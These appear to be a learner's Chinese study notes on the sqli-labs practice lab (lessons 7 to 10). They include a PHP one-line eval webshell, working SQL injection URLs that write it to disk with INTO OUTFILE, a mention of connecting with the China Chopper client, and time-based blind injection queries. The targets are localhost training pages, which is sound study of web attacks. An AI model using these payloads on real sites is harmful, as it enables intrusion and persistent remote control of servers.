1、show variables like ‘%secure%’; 查看secure-file-priv当前的值,如果显示为NULL,则需要打开:
E:\phpstudy_pro\Extensions\MySQL5.7.26\my.ini文件,在其中加上一句:secure_file_priv=”/“
为学习文件读和写
2、一句话木马:php版本:<?php @eval($_POST[“crow”]);?> 其中crow是密码
补充:
load_file() 读取本地文件 select load_file(‘C:\phpstudy\PHPTutorial\WWW\sqli\Less-7\test.txt’);
into file 写文件
用法:select ‘mysql is very good’ into outfile ‘test1.txt’;
文件位置:C:\phpstudy\PHPTutorial\MYSQL\data
或者是:select ‘crow 666’ into outfile ‘C\phpstudy\PHPTutorial\WWW\sqli\Less-7\test.txt’;
文件位置:C\phpstudy\PHPTutorial\WWW\sqli\Less-7
注意事项:\
less_07:
1、http://127.0.0.1/sqli-labs-master/Less-7/?id=1’)))) order by 3—+
查看有多少列
2、http://127.0.0.1/sqli-labs-master/Less-7/?id=-1’)))) union select 1,2,’<?php @eval($_POST[“crow”]);?>’ into outfile”E:\phpstudy_pro\WWW\sqli-labs-master\Less-7\test.php”—+
http://127.0.0.1/sqli-labs-master/Less-7/?id=-1’)))) union select 1,2,’<?php @eval($_POST[‘sys’]);?>’ into outfile “E:\phpstudy_pro\WWW\sqli-labs-master\Less-7\test1.php”—+
将一句话木马写入其中
3、使用中国菜刀访问即可webshell
less_08 法一:布尔盲注(同less-05)
法二:使用时间盲注
补充知识点:IF(conditionA,B)如果条件condition为true,则执行语句A,否则执行B
例:select if(1>2,4,5);返回结果是5.(如果在MySQL数据库命令行中使用,首先要use xxx数据库才行)
select if()
select database()
substr((select database(),1,1))
ascii(substr((select database()),1,1))
select if(ascii(substr((select database()),1,1))>10,2,3);
dnslog(一种方法)
less_09

less_10
同less_09,只是单引号改为双引号。
